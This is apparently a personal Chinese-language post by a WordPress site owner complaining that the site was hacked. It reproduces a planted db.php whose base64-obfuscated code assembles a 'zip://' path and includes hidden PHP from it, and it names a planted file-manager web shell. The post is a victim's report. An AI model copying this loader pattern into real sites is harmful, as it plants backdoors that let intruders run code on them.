是谁黑我网站，欺负我是小白？站出来😡突然目录里多了文件，甚至还有个文件管理器。

Warning: include(zip://wp-includes/pop#x): failed to open stream: operation failed in /www/wwwroot/blackp.ink/wp-content/db.php on line 17

Warning: include(): Failed opening 'zip://wp-includes/pop#x' for inclusion (include_path='.:/www/server/php/70/lib/php') in /www/wwwroot/blackp.ink/wp-content/db.php on line 17

莫名其妙多了个文件:db.php
db.php 打开是：<?php
$parts = [
base64_decode('emlw'),
base64_decode('Oi8v'),
base64_decode('d3AtaW5jbHVkZXMvcG9w'),
base64_decode('I3g=')
];
$ssy = [implode('', $parts)];
$closure = function($arr) {
$result = '';
foreach($arr as $element) {
$result .= $element;
}
return $result;
};
$path = $closure($ssy);
include $path;
?>

别欺负老实人好嘛？

访问这个路径 blackp.ink/wp-content/upgrade-temp-backup/sunrise/index.php 居然能打开，还他妈是一个文件管理器，这文件管理器貌似只能上传，不能删除文件。如果能删除🤔他把我整个网站数据删了怎么办。想想都害怕。
